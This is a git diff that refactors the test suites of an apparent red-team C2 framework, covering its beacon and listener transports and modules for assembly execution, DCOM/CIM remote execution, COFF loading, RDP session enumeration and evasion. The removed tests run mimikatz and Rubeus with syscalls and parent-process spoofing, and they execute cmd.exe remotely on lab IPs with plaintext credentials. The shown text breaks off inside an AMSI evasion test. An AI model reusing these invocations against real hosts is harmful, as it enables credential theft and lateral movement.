diff --git a/beacon/tests/CMakeLists.txt b/beacon/tests/CMakeLists.txt index 68372dc..b3fa5c9 100644 --- a/beacon/tests/CMakeLists.txt +++ b/beacon/tests/CMakeLists.txt @@ -28,7 +28,8 @@ target_link_libraries(beacon_unit_tests add_test(NAME beacon_unit_tests COMMAND beacon_unit_tests) -# Functional tests for transport variants (simple main) +# Manual smoke executables for transport variants. They are built with the test +# suite but are not registered in CTest because they only validate construction. add_executable(testBeaconDns testBeaconDns.cpp ../Beacon.cpp @@ -46,8 +47,6 @@ target_link_libraries(testBeaconDns SocksServer c2_base64) -add_test(NAME testBeaconDns COMMAND testBeaconDns) - add_executable(testBeaconGithub testBeaconGithub.cpp ../Beacon.cpp @@ -65,8 +64,6 @@ target_link_libraries(testBeaconGithub c2_base64 ${C2CORE_BEACON_TEST_HTTP_LINK_LIBS}) -add_test(NAME testBeaconGithub COMMAND testBeaconGithub) - add_executable(testBeaconHttp testBeaconHttp.cpp ../Beacon.cpp @@ -84,8 +81,6 @@ target_link_libraries(testBeaconHttp c2_base64 ${C2CORE_BEACON_TEST_HTTP_LINK_LIBS}) -add_test(NAME testBeaconHttp COMMAND testBeaconHttp) - add_executable(testBeaconSmb testBeaconSmb.cpp ../Beacon.cpp @@ -102,8 +97,6 @@ target_link_libraries(testBeaconSmb SocksServer c2_base64) -add_test(NAME testBeaconSmb COMMAND testBeaconSmb) - add_executable(testBeaconTcp testBeaconTcp.cpp ../Beacon.cpp @@ -120,4 +113,3 @@ target_link_libraries(testBeaconTcp SocksServer c2_base64) -add_test(NAME testBeaconTcp COMMAND testBeaconTcp) diff --git a/listener/tests/CMakeLists.txt b/listener/tests/CMakeLists.txt index cce9d2c..bb90c92 100644 --- a/listener/tests/CMakeLists.txt +++ b/listener/tests/CMakeLists.txt @@ -18,13 +18,13 @@ target_link_libraries(listener_unit_tests add_test(NAME listener_unit_tests COMMAND listener_unit_tests) -# Functional tests for transport variants (simple main) +# Manual smoke executables for transport variants. They are built with the test +# suite but are not registered in CTest because they only validate construction. add_executable(testListenerDns testListenerDns.cpp ../Listener.cpp ../ListenerDns.cpp) target_link_libraries(testListenerDns nlohmann_json::nlohmann_json Dnscommunication c2_base64 ${additionalLib}) -add_test(NAME testListenerDns COMMAND testListenerDns) if(TARGET httplib::httplib) add_executable(testListenerGithub @@ -35,8 +35,6 @@ if(TARGET httplib::httplib) if(TARGET openssl::openssl) target_link_libraries(testListenerGithub openssl::openssl) endif() - add_test(NAME testListenerGithub COMMAND testListenerGithub) - set_tests_properties(testListenerGithub PROPERTIES DISABLED TRUE) endif() @@ -45,11 +43,9 @@ add_executable(testListenerSmb ../Listener.cpp ../ListenerSmb.cpp) target_link_libraries(testListenerSmb nlohmann_json::nlohmann_json PipeHandler c2_base64 ${additionalLib}) -add_test(NAME testListenerSmb COMMAND testListenerSmb) add_executable(testListenerTcp testListenerTcp.cpp ../Listener.cpp ../ListenerTcp.cpp) target_link_libraries(testListenerTcp nlohmann_json::nlohmann_json SocketHandler c2_base64 ${additionalLib}) -add_test(NAME testListenerTcp COMMAND testListenerTcp) diff --git a/modules/AssemblyExec/tests/testsAssemblyExec.cpp b/modules/AssemblyExec/tests/testsAssemblyExec.cpp index 03d0532..d6a4975 100644 --- a/modules/AssemblyExec/tests/testsAssemblyExec.cpp +++ b/modules/AssemblyExec/tests/testsAssemblyExec.cpp @@ -1,257 +1,46 @@ #include "../AssemblyExec.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include +#include -bool testAssemblyExec(); +using namespace test_helpers; int main() { - bool res; - - std::cout << "[+] testAssemblyExec" << std::endl; - res = testAssemblyExec(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; + bool ok = true; - return 0; -} - - -bool fileExists(const std::string& path) -{ - std::ifstream file(path); - return file.good(); -} - -bool testAssemblyExec() -{ - std::unique_ptr assemblyExec = std::make_unique(); - - if (fileExists(".\\Rubeus.exe")) { - } else { - std::cout << ".\\Rubeus.exe File does not exist." << std::endl; - return false; - } - if (fileExists(".\\mimikatz.exe")) { - } else { - std::cout << ".\\mimikatz.exe File does not exist." << std::endl; - return false; - } - - { -#ifdef __linux__ -#elif _WIN32 - std::cout << "Test long output" << std::endl; - - std::vector splitedCmd; - splitedCmd.push_back("assemblyExec"); - splitedCmd.push_back("-e"); - splitedCmd.push_back(".\\testOutputWriter.exe"); - - C2Message c2Message; - C2Message c2RetMessage; - - assemblyExec->init(splitedCmd, c2Message); - assemblyExec->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - // std::cout << output << std::endl; - std::cout << output.size() << std::endl; - - if(output.size()<10*400+4000*2*2) - return false; -#endif - } - { -#ifdef __linux__ -#elif _WIN32 - std::cout << "Test long output SpoofedParent" << std::endl; - - std::vector splitedCmd; - splitedCmd.push_back("assemblyExec"); - splitedCmd.push_back("-e"); - splitedCmd.push_back(".\\testOutputWriter.exe"); - - C2Message c2Message; - C2Message c2RetMessage; - assemblyExec->setModeSpoofParent(true); - assemblyExec->setSpoofedParent("explorer.exe"); - - assemblyExec->init(splitedCmd, c2Message); - assemblyExec->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - // std::cout << output << std::endl; - std::cout << output.size() << std::endl; - - if(output.size()<10*400+4000*2*2) - return false; -#endif - } - { -#ifdef __linux__ -#elif _WIN32 - std::cout << "Syscall true - setModeProcess true - ModeSpoofParent true - SpoofedParent explorer.exe" << std::endl; - - std::vector splitedCmd; - splitedCmd.push_back("assemblyExec"); - splitedCmd.push_back("-e"); - splitedCmd.push_back(".\\mimikatz.exe"); - splitedCmd.push_back("\"sleep 1000\""); - splitedCmd.push_back("\"exit\""); - - C2Message c2Message; - C2Message c2RetMessage; - assemblyExec->setProcessToSpawn("notepad.exe"); - assemblyExec->setUseSyscall(true); - assemblyExec->setModeProcess(true); - assemblyExec->setModeSpoofParent(true); - assemblyExec->setSpoofedParent("explorer.exe"); - - assemblyExec->init(splitedCmd, c2Message); - assemblyExec->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - std::cout << output.size() << std::endl; - - if(output.size()<40) - return false; -#endif - } - { -#ifdef __linux__ -#elif _WIN32 - std::cout << "Syscall true - setModeProcess true - ModeSpoofParent false - SpoofedParent" << std::endl; - - std::vector splitedCmd; - splitedCmd.push_back("assemblyExec"); - splitedCmd.push_back("-e"); - splitedCmd.push_back(".\\mimikatz.exe"); - splitedCmd.push_back("\"sleep 1000\""); - splitedCmd.push_back("\"exit\""); - - C2Message c2Message; - C2Message c2RetMessage; - - assemblyExec->setProcessToSpawn("notepad.exe"); - assemblyExec->setUseSyscall(true); - assemblyExec->setModeProcess(true); - assemblyExec->setModeSpoofParent(false); - assemblyExec->setSpoofedParent(""); - - assemblyExec->init(splitedCmd, c2Message); - assemblyExec->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - std::cout << output.size() << std::endl; - - if(output.size()<40) - return false; -#endif - } - { -#ifdef __linux__ -#elif _WIN32 - std::cout << "Syscall true - setModeProcess false - ModeSpoofParent false - SpoofedParent" << std::endl; - - std::vector splitedCmd; - splitedCmd.push_back("assemblyExec"); - splitedCmd.push_back("-e"); - splitedCmd.push_back(".\\Rubeus.exe"); - splitedCmd.push_back("triage"); - - C2Message c2Message; - C2Message c2RetMessage; - - assemblyExec->setProcessToSpawn("notepad.exe"); - assemblyExec->setUseSyscall(false); - assemblyExec->setModeProcess(false); - - assemblyExec->init(splitedCmd, c2Message); - assemblyExec->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - std::cout << output.size() << std::endl; - - if(output.size()<40) - return false; -#endif - } - { -#ifdef __linux__ -#elif _WIN32 - std::cout << "Syscall true - setModeProcess false - ModeSpoofParent true - SpoofedParent explorer.exe" << std::endl; - - std::vector splitedCmd; - splitedCmd.push_back("assemblyExec"); - splitedCmd.push_back("-e"); - splitedCmd.push_back(".\\mimikatz.exe"); - splitedCmd.push_back("\"sleep 10000\""); - splitedCmd.push_back("\"exit\""); - - C2Message c2Message; - C2Message c2RetMessage; - assemblyExec->setProcessToSpawn("C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"); - assemblyExec->setUseSyscall(false); - assemblyExec->setModeProcess(true); - assemblyExec->setModeSpoofParent(true); - assemblyExec->setSpoofedParent("msedge.exe"); - - assemblyExec->init(splitedCmd, c2Message); - assemblyExec->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - std::cout << output.size() << std::endl; - - if(output.size()<40) - return false; -#endif - } -// { -// #ifdef __linux__ - -// #elif _WIN32 -// std::vector splitedCmd; -// splitedCmd.push_back("assemblyExec"); -// splitedCmd.push_back("-e"); -// splitedCmd.push_back(".\\mimikatz.exe"); -// splitedCmd.push_back("\"sleep 1000000\""); -// splitedCmd.push_back("\"exit\""); - - -// C2Message c2Message; -// C2Message c2RetMessage; -// assemblyExec->init(splitedCmd, c2Message); -// assemblyExec->process(c2Message, c2RetMessage); - -// std::string output = "\n\noutput:\n"; -// output += c2RetMessage.returnvalue(); -// output += "\n"; -// std::cout << output << std::endl; -// #endif - -// } - - return true; + { + AssemblyExec module; + std::vector cmd = {"assemblyExec", "thread"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "thread mode should be handled locally"); + ok &= expect(message.returnvalue() == "thread mode.\n", "thread mode should report selected mode"); + } + + { + AssemblyExec module; + std::vector cmd = {"assemblyExec", "-r", "missing.bin"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "missing raw shellcode file should be rejected"); + ok &= expect(message.returnvalue().find("Couldn't open file") != std::string::npos, "missing file error should mention open failure"); + } + + { + const auto raw = writeTempFile("c2core_assembly_raw.bin", "raw-bytes"); + AssemblyExec module; + std::vector cmd = {"assemblyExec", "-r", raw.string()}; + C2Message message; + + ok &= expect(module.init(cmd, message) == 0, "existing raw shellcode file should be accepted"); + ok &= expect(message.instruction() == "assemblyExec", "instruction should be set"); + ok &= expect(message.inputfile() == raw.string(), "input file should be packed"); + ok &= expect(message.data() == "raw-bytes", "raw bytes should be packed"); + std::filesystem::remove(raw); + } + + return ok ? 0 : 1; } diff --git a/modules/Chisel/tests/testsChisel.cpp b/modules/Chisel/tests/testsChisel.cpp index e71df44..f67e27c 100644 --- a/modules/Chisel/tests/testsChisel.cpp +++ b/modules/Chisel/tests/testsChisel.cpp @@ -1,32 +1,52 @@ #include "../Chisel.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include -bool testChisel(); +using namespace test_helpers; int main() { - bool res; + bool ok = true; - std::cout << "[+] testChisel" << std::endl; - res = testChisel(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; + { + Chisel module; + std::vector cmd = {"chisel", "status"}; + C2Message message; - return 0; + ok &= expect(module.init(cmd, message) == -1, "status should be handled on the teamserver side"); + ok &= expect(message.returnvalue().empty(), "status should return an empty instance list by default"); + } + + { + Chisel module; + std::vector cmd = {"chisel", "stop", "1234"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == 0, "stop should pack a pid"); + ok &= expect(message.instruction() == "chisel", "instruction should be set"); + ok &= expect(message.cmd() == "stop", "stop command should be packed"); + ok &= expect(message.pid() == 1234, "pid should be packed"); + } + + { + Chisel module; + std::vector cmd = {"chisel", "stop", "not-a-pid"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == 0, "atoi-compatible parser currently accepts non-numeric pids as zero"); + ok &= expect(message.pid() == 0, "non-numeric pid should map to zero with current parser"); + } + + { + Chisel module; + std::vector cmd = {"chisel", "missing.exe", "client", "host:8000", "R:socks"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "missing payload file should be rejected"); + ok &= expect(!message.returnvalue().empty(), "missing payload file should explain the error"); + } + + return ok ? 0 : 1; } - - -bool testChisel() -{ - // std::unique_ptr Chisel = std::make_unique(); - // { - // } - - return false; -} \ No newline at end of file diff --git a/modules/CimExec/CMakeLists.txt b/modules/CimExec/CMakeLists.txt index 736205a..5763b6a 100644 --- a/modules/CimExec/CMakeLists.txt +++ b/modules/CimExec/CMakeLists.txt @@ -17,5 +17,4 @@ if(C2CORE_BUILD_TESTS) $ "${C2_TEST_BIN_OUTPUT_DIR}/$") add_test(NAME testsCimExec COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$") - set_tests_properties(testsCimExec PROPERTIES DISABLED TRUE) endif() diff --git a/modules/CimExec/tests/testsCimExec.cpp b/modules/CimExec/tests/testsCimExec.cpp index 3a56215..ff6ff5d 100644 --- a/modules/CimExec/tests/testsCimExec.cpp +++ b/modules/CimExec/tests/testsCimExec.cpp @@ -1,57 +1,58 @@ #include "../CimExec.hpp" +#include "../../tests/TestHelpers.hpp" #include #include #include +using namespace test_helpers; + int main() { + bool ok = true; + { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"cimExec", "-h", "localhost", "-u", "root", "-p", "root", "-c", "cmd.exe", "-a", "/c echo ran > C:\\Users\\vuln\\Desktop\\ts_test2.txt"}; + CimExec module; + std::vector cmd = { + "cimExec", "-h", "localhost", "-n", "root/custom", + "-c", "cmd.exe", "-a", "/c whoami", "-u", "DOMAIN\\alice", "-p", "secret"}; C2Message message; - C2Message ret; - module->init(cmd, message); - module->process(message, ret); + ok &= expect(module.init(cmd, message) == 0, "init should accept complete CIM parameters"); + ok &= expect(message.instruction() == "cimExec", "instruction should be set"); - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"cimExec", "-h", "localhost", "-c", "cmd.exe", "-a", "/c whoami"}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"cimExec", "-h", "localhost", "-u", "root", "-p", "toor", "-c", "cmd.exe", "-a", "/c echo ran > C:\\Users\\vuln\\Desktop\\ts_test2.txt"}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; + const auto fields = splitPackedFields(message.cmd()); + ok &= expect(fields.size() == 6, "packed CIM parameters should contain six fields"); + if (fields.size() == 6) + { + ok &= expect(fields[0] == "localhost", "host should be packed"); + ok &= expect(fields[1] == "root/custom", "namespace should be packed"); + ok &= expect(fields[2] == "cmd.exe", "command should be packed"); + ok &= expect(fields[3] == "/c whoami", "arguments should be packed"); + ok &= expect(fields[4] == "DOMAIN\\alice", "username should be packed"); + ok &= expect(fields[5] == "secret", "password should be packed"); + } } - return 0; + { + CimExec module; + std::vector cmd = {"cimExec", "-h", "localhost"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "missing command should be rejected"); + ok &= expect(!message.returnvalue().empty(), "missing command should explain the error"); + } + + { + CimExec module; + C2Message ret; + ret.set_errorCode(4); + ret.set_returnvalue("session failed"); + std::string error; + + ok &= expect(module.errorCodeToMsg(ret, error) == 0, "errorCodeToMsg should return success"); + ok &= expect(error == "session failed", "errorCodeToMsg should expose process error text"); + } + + return ok ? 0 : 1; } - diff --git a/modules/CoffLoader/tests/testsCoffLoader.cpp b/modules/CoffLoader/tests/testsCoffLoader.cpp index a156bd7..bd6488a 100644 --- a/modules/CoffLoader/tests/testsCoffLoader.cpp +++ b/modules/CoffLoader/tests/testsCoffLoader.cpp @@ -1,48 +1,39 @@ #include "../CoffLoader.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include +#include -bool testCoffLoader(); +using namespace test_helpers; int main() { - bool res; + bool ok = true; - std::cout << "[+] testCoffLoader" << std::endl; - res = testCoffLoader(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; - - return 0; -} - -bool testCoffLoader() -{ - std::unique_ptr coffLoader = std::make_unique(); { - std::vector splitedCmd; - splitedCmd.push_back("coffLoader"); - splitedCmd.push_back(".\\dir.x64.o"); - splitedCmd.push_back("go"); - splitedCmd.push_back("Zs"); - splitedCmd.push_back("c:\\"); - splitedCmd.push_back("0"); + CoffLoader module; + std::vector cmd = {"coffLoader", "missing.o", "go"}; + C2Message message; - C2Message c2Message; - C2Message c2RetMessage; - coffLoader->init(splitedCmd, c2Message); - coffLoader->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; + ok &= expect(module.init(cmd, message) == -1, "missing COFF file should be rejected"); + ok &= expect(message.returnvalue().find("Couldn't open file") != std::string::npos, "missing COFF error should mention open failure"); } - return true; + { + const auto coff = writeTempFile("c2core_dummy.o", "coff-bytes"); + CoffLoader module; + std::vector cmd = {"coffLoader", coff.string(), "go", "Zs", "c:\\", "0"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == 0, "existing COFF file should be accepted"); + ok &= expect(message.instruction() == "coffLoader", "instruction should be set"); + ok &= expect(message.inputfile() == coff.string(), "input file should be packed"); + ok &= expect(message.cmd() == "go", "function name should be packed"); + ok &= expect(message.args() == "Zs c:\\ 0", "COFF arguments should be packed"); + ok &= expect(message.data() == "coff-bytes", "COFF bytes should be packed"); + std::filesystem::remove(coff); + } + + return ok ? 0 : 1; } diff --git a/modules/DcomExec/CMakeLists.txt b/modules/DcomExec/CMakeLists.txt index 50c41b3..699f43b 100644 --- a/modules/DcomExec/CMakeLists.txt +++ b/modules/DcomExec/CMakeLists.txt @@ -18,5 +18,4 @@ if(C2CORE_BUILD_TESTS) $ "${C2_TEST_BIN_OUTPUT_DIR}/$") add_test(NAME testsDcomExec COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$") - set_tests_properties(testsDcomExec PROPERTIES DISABLED TRUE) endif() diff --git a/modules/DcomExec/tests/testsDcomExec.cpp b/modules/DcomExec/tests/testsDcomExec.cpp index b556cbd..4313d4e 100644 --- a/modules/DcomExec/tests/testsDcomExec.cpp +++ b/modules/DcomExec/tests/testsDcomExec.cpp @@ -1,165 +1,61 @@ #include "../DcomExec.hpp" +#include "../../tests/TestHelpers.hpp" #include #include #include +using namespace test_helpers; + int main() { + bool ok = true; + { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\vuln10\\Desktop\\dcom_test1.txt\""}; + DcomExec module; + std::vector cmd = { + "dcomExec", "-h", "server01", "-k", "HOST/server01.domain", + "-u", "DOMAIN\\alice", "-p", "secret", "-c", "cmd.exe", + "-a", "/c whoami", "-w", "C:\\Windows"}; C2Message message; - C2Message ret; - module->init(cmd, message); - module->process(message, ret); + ok &= expect(module.init(cmd, message) == 0, "init should accept complete DCOM parameters"); + ok &= expect(message.instruction() == "dcomExec", "instruction should be set"); - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-u", ".\\root", "-p", "root", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\root\\Desktop\\dcom_test2.txt\""}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-u", ".\\root", "-p", "root", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\root\\Desktop\\dcom_test2.txt\""}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-h", "192.168.122.177", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\root\\Desktop\\dcom_test1.txt\""}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-h", "192.168.122.177", "-c", "cmd.exe", "-a", "/c calc.exe"}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-h", "192.168.122.177", "-u", ".\\root", "-p", "root", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\root\\Desktop\\dcom_test666.txt\""}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-h", "192.168.122.177", "-u", "root", "-p", "toor", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\root\\Desktop\\dcom_test2.txt\""}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-h", "192.168.122.59", "-u", ".\\root", "-p", "root", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\root\\Desktop\\dcom_test2.txt\""}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-h", "localhost", "-k", "host/DESKTOP-0HOG7VE", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\vuln\\Desktop\\dcom_test3.txt\""}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-h", "localhost", "-n", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\vuln\\Desktop\\dcom_test4.txt\""}; - C2Message message; - C2Message ret; - - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; + const auto fields = splitPackedFields(message.cmd()); + ok &= expect(fields.size() == 9, "packed DCOM parameters should contain nine fields"); + if (fields.size() == 9) + { + ok &= expect(fields[0] == "server01", "host should be packed"); + ok &= expect(fields[2] == "cmd.exe", "command should be packed"); + ok &= expect(fields[3] == "/c whoami", "arguments should be packed"); + ok &= expect(fields[4] == "C:\\Windows", "working directory should be packed"); + ok &= expect(fields[5] == "HOST/server01.domain", "SPN should be packed"); + ok &= expect(fields[6] == "DOMAIN\\alice", "username should be packed"); + ok &= expect(fields[7] == "secret", "password should be packed"); + ok &= expect(fields[8] == "0", "no-password flag should be packed"); + } } - std::cout << "Finished" << std::endl; - return 0; + { + DcomExec module; + std::vector cmd = {"dcomExec", "-h", "server01", "-p", "secret", "-c", "cmd.exe"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "password without username should be rejected"); + ok &= expect(!message.returnvalue().empty(), "credential validation should explain the error"); + } + + { + DcomExec module; + C2Message ret; + ret.set_errorCode(4); + ret.set_returnvalue("dcom failed"); + std::string error; + + ok &= expect(module.errorCodeToMsg(ret, error) == 0, "errorCodeToMsg should return success"); + ok &= expect(error.find("dcom failed") != std::string::npos, "errorCodeToMsg should expose process error text"); + } + + return ok ? 0 : 1; } - - - diff --git a/modules/EnumerateRdpSessions/CMakeLists.txt b/modules/EnumerateRdpSessions/CMakeLists.txt index 3e5349d..9d380bf 100644 --- a/modules/EnumerateRdpSessions/CMakeLists.txt +++ b/modules/EnumerateRdpSessions/CMakeLists.txt @@ -18,5 +18,4 @@ if(C2CORE_BUILD_TESTS) $ "${C2_TEST_BIN_OUTPUT_DIR}/$") add_test(NAME testsEnumerateRdpSessions COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$") - set_tests_properties(testsEnumerateRdpSessions PROPERTIES DISABLED TRUE) endif() diff --git a/modules/EnumerateRdpSessions/tests/testsEnumerateRdpSessions.cpp b/modules/EnumerateRdpSessions/tests/testsEnumerateRdpSessions.cpp index be60226..4a7d0f3 100644 --- a/modules/EnumerateRdpSessions/tests/testsEnumerateRdpSessions.cpp +++ b/modules/EnumerateRdpSessions/tests/testsEnumerateRdpSessions.cpp @@ -1,57 +1,64 @@ #include "../EnumerateRdpSessions.hpp" +#include "../../tests/TestHelpers.hpp" #include #include #include +using namespace test_helpers; + int main() { + bool ok = true; + { - std::unique_ptr module = std::make_unique(); + EnumerateRdpSessions module; std::vector cmd = {"enumerateRdpSessions"}; - C2Message message; - C2Message ret; - module->init(cmd, message); - module->process(message, ret); + ok &= expect(module.init(cmd, message) == 0, "init should accept local enumeration"); + ok &= expect(message.instruction() == "enumerateRdpSessions", "instruction should be set"); - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; + const auto fields = splitPackedFields(message.cmd()); + ok &= expect(fields.size() == 1, "packed RDP parameters should contain one field"); + if (fields.size() == 1) + { + ok &= expect(fields[0].empty(), "default server should be empty for local enumeration"); + } } + { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"enumerateRdpSessions", "-s", "127.0.0.1"}; - + EnumerateRdpSessions module; + std::vector cmd = {"enumerateRdpSessions", "-s", "server01"}; C2Message message; - C2Message ret; - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; + ok &= expect(module.init(cmd, message) == 0, "init should accept explicit server"); + const auto fields = splitPackedFields(message.cmd()); + ok &= expect(fields.size() == 1, "packed explicit RDP parameters should contain one field"); + if (fields.size() == 1) + { + ok &= expect(fields[0] == "server01", "server should be packed"); + } } + { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"enumerateRdpSessions", "-s", "192.168.122.59"}; - + EnumerateRdpSessions module; + std::vector cmd = {"enumerateRdpSessions", "-s"}; C2Message message; - C2Message ret; - module->init(cmd, message); - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; + ok &= expect(module.init(cmd, message) == -1, "missing -s value should be rejected"); } + + { + EnumerateRdpSessions module; + C2Message ret; + ret.set_errorCode(EnumerateRdpSessions::ERROR_OPEN_SERVER); + ret.set_returnvalue("open failed"); + std::string error; + + ok &= expect(module.errorCodeToMsg(ret, error) == 0, "errorCodeToMsg should return success"); + ok &= expect(error == "open failed", "errorCodeToMsg should expose process error text"); + } + + return ok ? 0 : 1; } diff --git a/modules/Evasion/tests/testsEvasion.cpp b/modules/Evasion/tests/testsEvasion.cpp index 7535e50..f36a015 100644 --- a/modules/Evasion/tests/testsEvasion.cpp +++ b/modules/Evasion/tests/testsEvasion.cpp @@ -1,203 +1,43 @@ #include "../Evasion.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#include -#pragma comment(lib, "amsi.lib") -#endif +#include +#include -bool testEvasion(); +using namespace test_helpers; int main() { - bool res; + bool ok = true; - std::cout << "[+] testEvasion" << std::endl; - res = testEvasion(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; - - return 0; -} - - -bool testEvasion() -{ - std::unique_ptr evasion = std::make_unique(); - -#ifdef __linux__ -#elif _WIN32 - // { - // HRESULT hResult; - // HAMSICONTEXT amsi_context; - // AMSI_RESULT amsi_result; - // HAMSISESSION amsi_session = nullptr; - // PCWSTR content = L"Invoke-Mimikatz"; - // LPCWSTR content_name = L"PowerShell"; - // ULONG content_size = wcslen(content); - - // // Initialize AMSI - // hResult = AmsiInitialize(L"PowerShell", &amsi_context); - // hResult = AmsiOpenSession(amsi_context, &amsi_session); - - // hResult = AmsiScanBuffer(amsi_context, &content, content_size, content_name, amsi_session, &amsi_result); - // // hResult = AmsiScanString(amsi_context, content, content_name, amsi_session, &amsi_result); - - // // Verify Scan Result - // std::cout << "hResult : " << (long)hResult << std::endl; - // std::cout << "AMSI RESULT : " << amsi_result << std::endl; - // if (amsi_result == AMSI_RESULT_DETECTED) - // std::cout << "Détecté comme malveillant" << std::endl; - // else 